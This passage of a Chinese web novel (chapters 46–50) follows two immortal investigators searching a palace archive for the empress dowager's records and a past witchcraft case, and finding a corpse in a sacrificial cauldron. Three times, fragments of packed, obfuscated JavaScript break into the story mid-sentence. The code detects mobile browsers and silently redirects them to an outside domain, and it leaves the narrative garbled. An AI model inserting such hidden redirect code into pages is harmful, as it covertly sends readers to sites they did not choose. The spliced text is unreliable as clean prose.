思忖了下,她又接着道:“灯烛铺是太后私底下的产业,也难怪宫廷祭祀用烛会交由这间铺子制作,既然如此,那老板也应当是太后的人,那么他蓄意谋划七七祭日上炸烛这一出,究竟是出于谁的授意?是太子?” “还有一点,太后房里并无其他房契地契,为何独独留有这一处铺子的地契,太后持有这灯烛铺究竟是作何用途的?” 殷烬翎自顾自说了一通,见叶南扶未予置评,便抬首朝他道:“老哥有何高见?” 叶南扶正颇为厌烦地对付着一处残屑,闻言将刷子一丢,慢条斯理道:“比起这个,我倒更想查查七年前妖蛊一案,个中隐情应该尚未揭露,说不准与当下之事有不少关联。” “何以见得?” “直觉。”叶南扶翘起二郎腿,颇有节律地晃着。 殷烬翎皱了皱眉,她还是比较习惯基于事实证据、环环相扣的锁链式思路,老哥想法则常常过于跳脱,譬如之前宫宴上突然提出“太子制造丧期怪象意图请来仙家”的假设,不过这仅是个人喜好差异,也谈不上谁好谁坏便是了。 叶南扶接着道:“慈宁宫这一趟,其实挖掘不出多少太后生平旧事,况且这皇城里的人,不管地位高低都对昔日妖蛊案讳莫如深。昨日我向送午膳来的宫人探听了一下,她直接是吓得礼都顾不上行,放下食盒就夺路而逃。” 殷烬翎有些惊愕:“这么夸张?然后呢?” “她这反应显然是知道些什么了,我又岂会令她这么轻易逃脱,还没到门口便被截下,盘问了一翻算是得到了点结果。” 殷烬翎想到此人先前在宋家时将宋大公子逼问得昏厥过去,可谓是劣迹斑斑,不禁同情起这名可怜的宫女来,也不知她落荒而逃究竟有几分是因为妖蛊案,几分是因为叶南扶。 “她说了些什么?” “只透露了一个名字,广陵王,其余便再不肯多说半个字。不过……” 叶南扶话到一半,忽然笑了起来:“我倒是知道什么地方能够查到,刚巧也要查太后生平事迹,便打算明日夜里去探一探。” 殷烬翎马上意会:“你莫非是打算潜入大乘皇朝的藏书重地,凌烟阁?” 47. 第 47 章 凌烟阁是皇城中最高的一座楼阁,位于皇城东南面,西临翰林院,其总共有十二层,高耸挺立,上接霄汉,翼然凌驾于一众宫殿之上,里头存放着大乘皇朝建立以来两千年间的所有皇族子嗣、王侯将相生平,由翰林院的史官撰写后存入,事无巨细,一应俱全。可以说,是了解过往史事最佳的所在。 如此重地自然有不少宫内禁卫看守,只是这严密的防守对仙界人士来说形同虚设,殷烬翎使了个隐形诀,便领着叶南扶大摇大摆的进了凌烟阁。 凌烟阁最下几层还是空的,一直上到第五层才开始有零零散散的一些书卷,其后的每层光景都并无多少区别,四面俱是一排排丈许高的架子和其上满满当当形态各异的书册,有竹简状的、布帛丝绸的,还有刻在石板上的,当然更多的还是纸质书册。 书册都按照年代分门别类放置,最顶上一层存放的是建朝之初的,往下慢慢推进,到第五层则是近几代的内容。 凌烟阁自大乘皇朝建立初期开始存在,发展并经历无数次翻修,至今俨然已成为皇朝先祖和历史的象征,算得上是大乘的文化祠堂。为了防止年代久远的书籍腐坏虫蛀,皇朝还曾数度请来仙盟长老在此设下术法,以维护书册的完好。 提着灯大略扫过一遍整个楼阁的全貌后,两人便来到第五层,开始分头找寻属于太后的那一本册子。凌烟阁的书类相当繁多,殷烬翎指尖在一本本书册上划过。 《这位皇帝明明超强却过分谨慎(武帝生平)》,《为了大乘,我说不定连皇帝也可以杀掉(靖安侯生平)》,以及《只要加上书名号不管内容是什么都可以当作标题哦》。 “在这。”叶南扶举着一本书,朝另一头的殷烬翎招呼。 殷烬翎连忙奔了过来,只见书封页上写着《超凡的贵女即便在后宫也能从容生存(成帝皇后姬氏生平)》,两人坐到书架旁一同翻看起来。 虽说这些标题让人憋不住想吐槽,但里头内容却是正经的史实,大体与太子和秦子铮说的相差无几,只是更为详尽。 成帝皇后姬氏,定国公府嫡长女,十七岁封后入主中宫,负责抚养先皇后遗子,即如今的淮安王谢霁,谢霁长到三岁上,皇后诞下长子,即当今陛下谢霖。 此后是接连数几页的墨笔涂改,只能从断断续续的未涂改字中依稀看出,讲的是先皇驾崩,夷狄来犯,时任太子谢霁被生擒,太后一力压下朝臣非议,扶持长子谢霖继位,平定内乱后还政于帝。又三年,北驱夷狄,内肃朝纲,自此河清海晏。 翻过这几页后,终于到了此行最为关注的内容,天佑五年的妖蛊案。 大意为,天佑四年,冀州大旱,信州洪涝,陛下夙兴夜寐,殚精竭虑,偶感风寒后迁延七八月之久。幸得白仙护佑大乘,派下乌鸟,于天佑五年五月十四降临陛下寝宫,撞碎一瓷瓶后身陨,瓶内见一桐木小人,身刻陛下之名,自此爆发长达一年之余的妖蛊一案。 因陛下龙体有恙,故彻查权柄交与太后姬氏,其后六月廿二为太后寿辰,行祭天仪式前,宫人于祭台下见一画卷,颇含诅害咒怨之意,落款虽遭涂抹,然其笔法经御画坊大家鉴定,出自广陵王之手,其后于广陵王府邸搜得陛下贴身玉玦一枚、半成的木偶一个及所用原料若干,其狼子野心,昭然若揭,遂擒拿入天牢。后清查朝众,罢免正四品以上官员三十余人,拘捕并流放者达百余人之众。贼首广陵王除名皇族,褫夺封号,贬为庶人,流放滇南,于天佑七年殁于流放途中,时年二十二。 此后的记录再无要物,均是些起居见客之类的琐事,只草草扫过几眼,很快书册便翻到了头。 “这么说来,前面那些被墨笔涂掉的部分,很有可能是关于广陵王的事。”殷烬翎摸着下巴,分析道,“因为他被从皇族族谱中除了名,故而有关他身份的阐述都不得出现。” 她将书页翻到最前边,指着一处:“这里,说到太后诞下了长子,就是当今陛下,没有次子何来长子一说,然而全书都未再提及太后的其他子嗣,定然是在涂抹的部分之中。据此推测,广陵王大抵是太后次子,陛下胞弟。” 叶南扶点头。 殷烬翎接着道:“此外还有一处也引起我注意,原来妖蛊案最开始是由一只意外闯入陛下房内的乌鸟所致,撞碎瓷瓶后殒命,这同七七那日飞入设立灵堂的大殿、撞毙在廊柱上的乌鸟何其相似。” “另外还存在第三只乌鸟,就在那幅画上,停在大鼎边沿、口中淌下鲜血的乌鸟。” “现在我开始相信,你先前所说的,妖蛊案与此次事件有所关联之辞了。” 叶南扶挑眉:“这么说你此前并不尽信?” 殷烬翎颔首:“并无证据。” “查案不应当首重直觉与经验么?” “不敢苟同,我以为理应证物与逻辑至上。” “仅从实证入手,思路未免过于狭隘。” “无法佐证的臆测之言,自然不能令人信服。” 两人互相瞪着,好一阵沉默,随后一齐扭过头去。 没证据,查案全靠拍脑门嘛?殷烬翎暗自冷哼。 默不作声了半晌,叶南扶开口打破沉寂,只是仍撇着头不往她这处看:“你既不信,为何还陪同我来凌烟阁这一趟?我虽无灵力,却也不至于被外头几个禁卫所阻。” “哦,原来你能瞒过禁卫混进来啊?早说嘛,今晚我就让你自个儿来了。我想查太后生平什么时候来都行,没必要非得一起行动吧。” 殷烬翎也依旧侧着头,随意地扫视着身旁的书架,不去看他。 叶南扶嗤笑一声,站起身来,将手中的书册放回架子上。 殷烬翎也提着灯起身,打算再寻寻是否还有记录广陵王那一本的书册,忽然叶南扶那边传来一声轻“咦”,她便转首看了过去。 “灯拿给我一下。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16110346|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >殷烬翎连忙将手中的灯盏递了过去,叶南扶一手拿着那本太后的册子,一手将灯举起来,往书架上取出书册后留下的空当里照进去。 “帮我拿一下。”叶南扶将手上的书递给殷烬翎,探手进去摸索着。 殷烬翎见状,忍不住道:“怎么了?” 叶南扶仍在探着,皱了皱眉:“里头有东西卡着,放不进去。方才我找到这书的时候,它就比旁边的稍凸出来一些,我还当是偏大些的缘故。” 确实,这里的书大小不一,形状各异,有几册高起或凸出不足为奇。 “是什么东西?” “好像……也是本书册。”叶南扶说着,手下慢慢将里头卡着的书往外拉。 然而就在此时,下层的楼梯那侧突然响起了脚步声,步子刻意放得极轻。 有人,正缓缓朝着这一层上来。 叶南扶瞬间噤声,与殷烬翎相互对视一眼,当即将手抽出,接过递来的书塞回空当处,这边殷烬翎已经利落地将两盏油灯都熄灭,两人闪身躲进了角落里一个书架后头。 不多时,脚步声已经上到了这一层,悠悠地停在了最前头的书架前,似乎也开始寻找书册。 之所以选择躲避而不是使用隐形诀,是因凌烟阁外有重重禁军把守,普通人很难避人耳目地进入,而且此时已更深夜半,应当不会有翰林院史官来此,那么,来人极有可能也是仙家,不知来人情况,还是避着些为妙。 那人立在前边久久没了动静,殷烬翎从书架后微微探出头去,来人着黑色夜行衣,用兜帽罩着头,端着一盏油灯,侧对着两人藏身之处,瞧不见脸,但看身形应是个风姿绰约的女子。 女子找过两面书架,来到他们先前所在的那处,纤纤素手在书脊间徘徊了片刻,抽出了一本书册,翻看了起来。 殷烬翎抬指往眉心一点,双目间顿时光华流转,再往书册那儿望去,细看之下不禁一凛,随即小心翼翼将头缩了回来。 叶南扶见状用眼神询问:看见了什么? 殷烬翎轻轻拉起叶南扶的手,在他掌心写道:太后。 他们方才看过的,记载太后生平的书册,此时正拿在那女子的手中翻阅。 叶南扶只觉得掌心微微作痒,下意识有些想缩回去,但只是稍稍动了动,便没再反抗,任由她拉着,继续写道:我再看看。 女子很快翻完了太后生平,将之放回时也遇到了与他们同样的麻烦,里头有书阻着。 女子便将书册放在一边,伸手进去用力将横在里头的书拿了出来。 殷烬翎再度集中注意去看,那书似乎被卡得久了,书页上显见的有不少皱折痕迹,书封页似乎写着“天佑御画坊”几个字。 女子此时拿着这书顿了顿,似乎若有所思,转头看向先前放在一边的太后生平,这一转头,便教殷烬翎瞧见了这女子的模样,她不由一愣。 襄王妃? 48. 第 48 章 一愣神的功夫,襄王妃已然翻开了那本皱巴巴的书,只看了片刻就神色骤变,将书“啪”地一合,似乎颇有些愤懑气恼,随即捡起先前那本,把两本书塞回架子上,径直下了楼,离去时步伐很是有些匆忙。 待到脚步声完全听不见,两人这才从隐蔽处走出来。 殷烬翎来到襄王妃方才所站立之处,拿出了那本令她看了愤而离去的书,尽管有了不少褶皱,但书还算比较新,内容是天佑年间御画坊画师的任职与变更名录。 御画坊就是皇城内宫廷画师所在之处,其内不乏书画大家,画师们常应邀给各达官显贵作画描物。 但是这样的一本书册怎么会放在太后生平事迹附近,而且还是横堵在其后面。 殷烬翎翻开册子,里头尽是形形色色花里胡哨的名字,看得她有些头晕,好在天佑至今才十二载,这书册又是一年一记录的,统共也没几页,她着重瞧了天佑五年至八年的左右的记载,其中有不少当世耳熟能详的书画能人名字,然而她注意到了当中一个名字。 陈彦藩。 此人从天佑元年便一直在御画坊任职,天佑七年自请辞去御画坊的职务,说是出外经商,而最令她不解的是,此人分明并非什么名士,且殷烬翎本身也不是会关注书画行当之人,却偏生对此名字格外熟识,似乎……就在近几日见过。 是在……何处见过呢? 御画坊……画师……画…… “喂,麻雀。” “作甚?”殷烬翎思路被打断,索性先将这事放一边。 叶南扶望着下楼的阶梯处,眼眸微敛:“她是怎么上来的?” 殷烬翎一怔,这才想起,凌烟阁外有不少禁卫看守,此夜半之时,即便是皇族亲眷只怕也不能随意进出,襄王妃毫无疑问是一介凡人,是如何进到凌烟阁里的? 殷烬翎将一扇窗推开一道缝隙,向外头张望。 没有人。 守备在凌烟阁周围的禁卫不知何时不见了。 是被人调走了嘛?殷烬翎思索着。 还差记录广陵王的书册没找,虽然估计是找不到的,连太后的记录里关于广陵王的部分都抹掉了,广陵王的那一册还单独存在的可能性微乎其微。 果然,整层找过一遍,没有发现。 当年是太后掌管此案,亲自下的判决,广陵王还是太后亲子,然而在这个极度尊崇仙道的皇朝之中,一旦涉足妖蛊,就将面临如此不留私情的严酷惩罚。 叶南扶在旁边拉了拉她衣袖:“走吗?” 殷烬翎想起什么,忽然笑起来,摇摇头:“难得来一趟凌烟阁,我还想查查另一件事。” 言罢,她当先朝上一层的楼梯过去,叶南扶只得疑惑地跟了上去。 “你要查何事?” “也不是什么要事,就是想满足一下我的好奇心。” 殷烬翎径直来到了最顶上一层,此处存放的是大乘建朝最初的历史记载。 凌烟阁上窄下宽,整体略呈圆台状,最上层的空间比之下面数层,几可称得上是狭小了,不过因堆放的书册并不多,仅有挨着周围墙面放置的一圈架子,倒也不算拥挤,这里存放的典籍摸起来粗砺且单薄,宛如发须皆白的垂暮老者,显出岁月带来的苍老与朽蚀,可以想见若没有术法的维护,这些书籍恐怕早就不复存于世了。 殷烬翎便顺着书架逐一挑拣起来,时而抽出一本稍稍翻阅一下。 她来这一层,目的自然是弄清一直以来的疑惑,大乘这般尊仙重道风气的源头——那位白仙,究竟是何许人。 据闻大乘皇城的建立始于一场天降瘟灾,却对此并无过多细节描述。在仙界的记载中,从未提及过白仙这号人物,只知晓自大乘建立以来,民间一直对其无比尊崇,而此处定然记录着她想了解的所有事情。 在她身后约莫三尺开外,叶南扶垂手立着,定定地望着前方四处翻阅典籍的忙碌身影,黑眸中倒映着些微油灯攒动的火光,其余则如沉沉暮色晦暗不明,静静立了良久,他慢慢转身来到另一边的书架旁,取出一本翻看起来。 殷烬翎查阅得很快,稍许翻了一部分书后就大致总结出了事情原委。 两千年前,天降瘟灾,无人知晓其最初的源头,只知其蔓延之快令人骇然,仅仅数月,便天下大乱,当时并无统一的王朝,而是并存着数个国度,原本就彼此仇视,战火不休,穷兵黩武,民不聊生,瘟疫凶猛之下,几个国家朝政很快相继覆灭,最后仅剩下最东南的这一个偏远小国,靠着几重山脉阻断,与世隔绝,加之人口稀少,勉强偏安一隅,这便是后来大乘皇朝的前身。 然而覆巢之下,又安有完卵,外头在天灾人祸中颠沛流离的人们自然渴求生存与安定,一些人开始疯狂地徒手翻越重山险阻,于是没过多久,瘟病便突破了群山的阻隔,开始在这片乱世最后的净土中肆虐。小国的国君心焦如焚,不眠不休地召集大臣商讨对策,焚膏继晷,接连下达谕旨来遏制瘟疫,虽有一定成效,无奈病灾还是渐渐占据了上风,就在情势已山穷水尽之时,出现了一位仙人。 仙人不晓其名讳,只知姓白,着一身素淡的广袖白衣,这便是后来大乘皇朝世代供奉的白仙。 白仙修为高深,术法卓绝,抬手拂袖间,便救治了小国数万民众,仙人得知外界现状后,还欲渡化世间瘟灾,得了仙人庇佑后的小国子民英勇无畏,自发聚集组织了一只队伍请命为仙人引路。 其后数载这支队伍越重山,渡大江,跨遍千万土地,所到之处,除病痛、消灾厄,百姓欢欣鼓舞,又数年,瘟灾消弭,得众望所归,遂有皇朝,白仙亲笔提下“乘”字,自此大乘建立。建朝之后,白仙只向国君索求了一些沙土,随后翩然离去,不知其所踪。 因此,历来大乘子民在祭祀祈福时,总会在祭台烛火边沿撒上一小圈沙土,说上一句“皇天后土,白仙护佑”。这点殷烬翎行走人间之时听到过许多回,也曾问过百姓这位白仙是何许人,被问的总会给她一个大白眼,道句“你连白仙都不知道”,然而说起白仙样貌事迹,各人所言又都五花八门,唯一相同的只有着白衣。 仙界喜好白衣的虽不少,细想却并无与其描述相符者,故而她一直觉得白仙只是大乘民众口耳流传的传说臆想,是某种精神寄托,实际并不存在。 但今日上凌烟阁顶层一观,这些记载之中,白仙似乎确凿有其人?她不禁一时有些迷惑,缓缓将书放了回去,打算等回了仙界后再问问师门的前辈。 她一转身,便见叶南扶正站在另一侧,手上也翻着一本书,远远瞅了一眼,那书上似乎插画相当丰富的样子,不等她走近看个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16122792|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明白,叶南扶便“啪”地将书一合,一脸不耐地冲她道:“看完没,完了就赶紧走。” 殷烬翎连忙点头:“看完了。” 叶南扶拧着眉头,胡乱将书塞了回去,冲楼梯那里扬了扬下巴:“下楼干什么,愣着啊?” 殷烬翎有些懵懵地“哦”了一声,往台阶过去了。 咋了,这人吃炮仗了嘛?哪儿来这么大火气?这么说起来刚才襄王妃看了那个书似乎也很生气来着,她又是因何……? 下到一层,殷烬翎先是谨慎地从窗缝里朝外望了眼,见四周的禁卫不知何时又回来了,看来方才果真是被调走了。她便如法炮制再度捏了个隐形诀,带着叶南扶离开了凌烟阁。 “襄王妃今日潜入凌烟阁查太后往事,很可能与我们抱着相同的目的。” 殷烬翎习惯性地边走边分析起案情来,也不知是在说与叶南扶听,还是在自言自语。 “她方才取出御画坊名册后,先是朝太后的书册瞧了一眼,接着便翻开来看,显然是两者之间的某种联系引起了她的注意,而太后生平之中,提到御画坊的只有一处,妖蛊案中负责鉴定那幅奇诡之画者,正是御画坊。可见襄王妃是想到了这一点才翻阅起御画坊名册,随即发现了其中的某个名字,当下郁怒不已,拂袖而去。” 叶南扶许是还在兀自忿忿,一路上都没有开口。 “而说起名字,我也注意到一个分外耳熟的名字,只是一时想不起在何处见过……” 殷烬翎说着说着声音低了下去,直至再不可闻,她皱着眉,自顾自沉吟了起来。 “小麻雀。”长久一段沉默后,叶南扶忽然道。 “嗯?”殷烬翎仍在思忖着个中线索头绪,闻言随意地应了一声。 “没记错的话,再过两日就是太后的百日了吧?” “啊,对。”殷烬翎眨眨眼,看向他,“怎么了?” “百日……是在祭天台那儿办吗?” 殷烬翎点头:“大乘习俗认为,百日魂归青天,因此要祭天以求得先人护佑,所以是要去祭天台。”末了,又小声添了一句:“其实咱都知道,百日的时候,亡魂都在冥界等着转世呢,哪会升天上去,但毕竟拿人手短,为了仙界财产收入的可持续发展,大家都心照不宣。” 叶南扶听着嘴角微微一翘:“那日,我也去吧。” “什么?你原本还想着不去的嘛?” “……” “不是,你平时在房里躺着也就算了,毕竟也不会什么驱邪作法、风水堪舆,去了也没什么作用,但这种关键的大型仪式,就算啥也不会也得充个场凑个人头啊,这还翘掉的话,身为带你进来的人,你爹我要被人戳着脊梁骨骂的!” “……” “你走吧,你没我这个儿子了,不对,我没你这个爹了。” “……” “怎么?自知理亏说不出话来了吧?” 叶南扶打了个呵欠,懒懒道:“行吧,那我不去了。” “??” “横竖我将来回了无生界,往家里一躺,往生界的什么风言风语哪还传得到我耳中。”他悲悯地瞥了殷烬翎一眼,“但有的人就……” “……你良心不会痛嘛?” 叶南扶将手一摊:“去也可以,有报酬吗。” 49. 第 49 章 百日与前几个祭日不同,几个七日都是祭亡魂,故祭祀需在夜间进行,而百日是祭天,故会在前几日准备好所有祭祀用具,所有参与祭天者提前沐浴熏香三日,到那日清早,旭日未升之时,所有仙家及皇亲贵戚们需尽数就位,在日头初起的那一刻,开始祭天仪式。 由于要承接初升的第一缕日光,祭天台设在皇城最东侧,是一个石砌的巨大灰白色圆台,高出地面约三丈许,周围以半人高的栏杆圈起,台中央置有一口八尺来高的青铜巨鼎,其象征着国之重器,边上的石台摆满了贡品牺牲。 圆台四边各留了一个开口,其下各有几十级石阶,大约每十级之间就有一个平台,此时每个平台上都立了一左一右两位仙家,而皇族子弟则按长幼亲疏次序列了队,候在下方祭天台之外,更外层则有击鼓奏乐之人,皆已准备就绪,只等初日升起,便可开始祭天。 往正东方眺望而去,仍是一片天地交织的混沌之象,星子还明晰可见。 殷烬翎立在第二层的石阶平台上,算是离祭台较近的,对面站着个由于起得实在过早,眼都还半闭着的叶南扶,他们上一层的平台,即距祭台最近之处,封荀和秦子铮垂手而立。 一阵凌晨时分的微冷之风扑面而来,殷烬翎不禁打了个寒颤,稍稍将手往宽大的道袍袖子里缩了缩,忽觉鼻端有一股隐隐的怪异气味。 她伸长脖子,侧过头左右嗅了嗅,只有初冬的冷风混杂着祭祀贡品的香气、生牲的血腥味以及香炉内的焚香,方才的诡异气味此时消弭无形,似乎一切只是她的错觉。 昏暗的天幕笼罩下,这一方祭台寂然无声,她只觉心微微往上提了提,有些不安。 对面的叶南扶不知何时已然清醒了,他睁大了双目,一瞬不瞬地盯着上方的祭台,幽邃的黑眸与深沉浓稠的夜色浑然一体。 殷烬翎喉间微微动了动,按下心头翻滚的惴惴之感,梗着脖子再度望向东边,几乎有些急切。 又片刻,天地交界处终于泛起一抹晦暗朦胧的白晕,远空极不情愿地褪去了些许夜色。 她悄悄松了口气,将有些僵硬的视线慢慢转了回来,然而才堪堪转到一半就顿住了。 她听到了一声极细微、极尖厉、凄凉悼亡的乌鸟悲鸣之声。 她猛地抬头向天空望去,此时白芒乍明,残夜正大片大片向后撤退避走,渐次脱落殆尽,遗落下几个乌黑的墨点,那是盘旋在半空的一群黑鸦,它们在祭台上方环绕回转,久久不去,鸣声悲戚哀恸,令人心惊。 此时在场的仙家、皇族皆尽愣在了原地,纷纷仰头看向鸦群,鸦群啼叫了片刻,便有一只俯冲下来,直直窜进了祭台上的大鼎之中,紧接着又陆续有几只飞了进去。 “早有预感会出事,如今果然没白来。” 殷烬翎听见身边的叶南扶在喃喃自语,她骤然醒悟,顾不得祭祀正进行、旭日正东升,将礼仪教条规制尽数抛在了脑后,当先就三两步飞身掠过台阶往祭台上奔去,将要留待迎接第一抹朝阳的祭台此时空无一人,惟余数十只乌鸟在青铜大鼎上扑腾哀鸣,声嘶力竭。 巨鼎高过她头顶许多,只见到乌鸟乱窜,看不清里头的情况,她足下一点,飞身而上,立到了大鼎的边沿,鸦群顿时怪叫着四散而飞,她低头朝里望去,只觉得耳畔风声在此刻停滞,天地间静得落针可闻。 大鼎之内,底部结了乌黑发亮的一层,是已经凝固的血,干涸的血泊之中躺着一人,身着破败的青布衣裳,显然死去多时。身旁有只乌鸟,漆黑的羽翼被血染上了油亮的色泽,细短的喙中淌着血,也已气绝。 “师妹!” 台下似乎有人边喊她边奔上祭台来,但她此时耳中轰鸣一片,听不真切,她屏住呼吸,眼瞳死死盯着鼎内的景象,微微俯身下去想瞧个仔细,脚下一挪,靴子边角挨到了什么东西,她扭头看去,转身时带动了衣袍一扫。 “咚”的一声闷响,仿佛丧钟敲鸣,撞得她心头一颤。 那东西落下大鼎,掉在摆着贡品的石台上,是一个圆的卷轴,掉落之时似乎碰掉了什么暗扣,正滚动着缓缓展了开来。 那是幅画,背景很单一,构图也乏善可陈。画中央一口青铜鼎,其上停着只乌鸟,鲜红的朱笔勾摹的鲜血从乌鸟口中淌下,溢满整个大鼎。 当先的几位仙家已赶到了祭台上,有人驱赶着石台栏杆上的乌鸟,有人手持着法器罗盘测算相位,叶南扶立在一旁沉默不语,目光幽幽凝望着石台上的画作,封荀则在鼎旁暴跳怒吼着“殷梨你给我赶紧下来”。 殷烬翎紧锁着眉,最后看了一眼鼎里的惨状,缓缓收回了视线,跳了下来。 几人立马围了上来,封荀咬牙切齿道:“殷梨,你好样的,礼义规矩都学到哪儿去了?这种时候抢先出什么头啊!” 殷烬翎紧抿着唇,一言不发。 封荀还欲再说,被秦子铮伸手阻了,他冲封荀摇了摇头,上前一步,温声问道:“师妹,上面情况如何?” 殷烬翎抬起头,眼中一片灰败黯然,语声有些微不可查的发颤。 “死人了。” “百日,毁了。” 秦子铮嘴唇轻轻动了动,正欲说些什么,祭台下方的皇族亲属队列之中猝然迸发出一声痴狂大笑,一人突起扬声高呼。 “妖妇姬氏,贼人谢霖,生无平卧,死不安歇!” 立刻有两个侍卫上前将人按住,定睛一看,竟是淮安王,此时他面目惊怒,状似疯癫,被侍卫左右擒住,依旧狂笑怒骂,挣扎不休,直至被架着拖走,仍有零星秽骂之语远远传来。 殷烬翎忽然有些理解封荀,七七那日亲眼瞧着变故在眼前发生,却怎么也找不出妖邪作乱的迹象,约莫也是当下这般挫败的感受。 整个祭台都被仙家们里里外外翻过一遍,毫无所获;那幅奇诡的画也被用多方法器探查过,并无异状。 青铜鼎被施法合力抬下祭台,里头的尸体也被拖了出来横放在地上,皇族亲属都被遣回自己住处休息,宫人们还需留着清理祭台与尸首,故而尚且远远围着,几个胆小的宫女拿袖子蒙着眼睛。 这是个中年男子,约莫四十来岁,面目惊恐狰狞,穿着的青布衣裳虽质地不错,却处处开裂,加之布满血污黑痕,显得很是破旧,身上有不少绳子缚过留下的擦伤,当胸一道口子贯穿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16136247|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心脏是其致命伤,除此之外并无其他锐器伤。 从其伤口来看,当时出血虽多,然而要说鼎中的这许多都是由此而来却着实夸张了些,况且,毕竟不可能直接在鼎中杀的人,只会是搬运而来,因此鼎中所留很可能大多是故意倒入的牲畜之血。 着宫人与侍卫一一前来辨认,并无人识得其身份,又检查过尸身没有邪祟侵害、没有异变趋向之后,仙家们就垂头丧气地打道回府了,将此处留给宫人们清扫处理。 殷烬翎跟着众人一同往住处走,步子很慢,便落在了最后,她不甘心地回望了一眼,几个内侍正将盖着白布的尸身抬起,她脚下微微一顿,随即便迎来了封荀凶狠的眼神,意思清楚明白:你再敢乱出头看看? 她撇了撇嘴,不情不愿地收回了视线。今日之事她确实有些过于逾矩出挑,给天璇门招了不少闲言,疯狗其实也没教训错。 她垂下头,拖着步子继续跟着人群走,倏忽间觉得似乎少了什么,她迷茫地抬头四下望了望。 老哥呢? - 叶南扶问了几次路,找到一座宫殿前。 由于大多数皇族亲属都在皇城外头有自己的府邸,甚至有些还有封地,并不常来江宁,故而此次进宫吊唁时,皇城内都安排好了各自的行宫。 这座行宫位置很偏僻,与众行宫所在之处都相去甚远,周边冷冷清清的,鲜有宫人出没,与此处主人那日在宫宴上远离众人而独坐的景象如出一辙。 宫门从外头拴着,看样子是被软禁了。叶南扶取下木栓,推开了门。 屋内的人猛地抬起头来看向他,对视片刻,看了看他身上的道袍,慢慢站了起来见礼:“见过道长。” 倒还算清醒。叶南扶心道。 他回了礼,跨过门槛,反手将门阖上,也不过问,便兀自坐到了椅子上,翘起二郎腿。 淮安王一直看着他的举动,忍不住有些怨怒道:“是谢霖那贼子请道长来的?呵,他打算如何?又要污蔑我勾结邪祟,妖蛊害人吗?” “又。”叶南扶终于开口说了第一句话,“殿下为何要说又?” “他当我什么都不知吗?”淮安王愤愤道,“广陵不就是被他和那毒妇姬氏合谋害死的,如今又要故技重施用到我身上吗?” “淮安王殿下,慎言。”叶南扶向后舒舒服服地靠到椅背上,双手交叉在身前,“我若当真是殿下所说的那位派来,单就方才那些言语,殿下便没了活路。” “死又如何,我这条命本就是广陵从阎王手里讨来的,如今还了下去陪他又何妨!” “殿下难道不想为广陵王平反昭雪了吗?” 淮安王抿了抿嘴,沉默不言。 叶南扶慢条斯理道:“我并非谁派来,也不会对殿下不利,我是来查明当年真相的。殿下也知晓,如今除了仙家应当没人敢管这事了。” 淮安王静默半晌,谨慎道:“我如何能信你?” 叶南扶一笑:“殿下别无选择。” 淮安王立着思索了良久,尔后慢慢踱了几步,坐到叶南扶对面,深吸了口气,开始讲述起一个埋藏了数载的陈旧故事。 50. 第 50 章 淮安王记不得自己生身母亲是何模样,林皇后去得早,他自小教养在姬皇后膝下,年幼些的时候,姬皇后常让他坐在腿上教他读书认字,教他为君之道,待他视如己出。 姬皇后也有两个孩子,长子谢霖小他三岁,次子则更小,在他十二岁时才出生。 他好奇地探头进去瞧,幼弟裹在襁褓里,被嬷嬷抱着,闭着眼睡得很熟,囟门随着吐息一动一动的,白嫩的小脸只有巴掌那么大,他顿时觉得心里软得像化成了糖水,从此三天两头便会跑来看幼弟。但是谢霖总会钻出来阻挠,说那是自己的弟弟,不是他的,他便与谢霖吵上一架,直到姬皇后牵着两人的手合到一处才勉强和好,然后第二日又不计前嫌地玩在了一块。 等到幼弟也会走会跳之后,玩在一处的就变成了三个。然而他身为储君,彼时课业已有些繁重了,又兼要习武练剑,常常是靠着燃灯到深更半夜,方才挤出一点空暇陪弟弟。反观谢霖,虽也一同读书习字,但由于不是储君,又较他年幼,太傅对其要求自然没有对自己这般严苛,依旧成日与幼弟嬉戏玩闹,令他十分艳羡。 他便同谢霖提,我把太子让给你当吧。 谢霖断然拒绝,嗤之以鼻道,你当我傻么? 他不肯放弃,循循善诱,当了太子,将来你就是皇帝了,九五之尊。 谢霖冷笑,你自己课业多,没工夫玩儿,就想让我替你背锅,想得倒美。 他气急了便放狠话,谢霖你等着,以后会后悔的! 他撂下话怒气冲冲地离去,谢霖在后边冲他吐舌头。 让不出去,他便认了命,惆怅地瞧着一日多过一日的功课和事务,直到再也挤不出闲暇来游戏,偶尔得了空去看望幼弟,幼弟拉着他的手说,霁哥哥最近怎么都不来了? 谢霖在一旁阴阳怪气,你霁哥哥忙着处理天下大事,哪还顾得上你这个小萝卜头。 他怒道,谢霖! 谁知小萝卜听了,拍着手笑了,原来是这样,霁哥哥好厉害啊,你快回去忙吧,天下大事当然比我要紧。 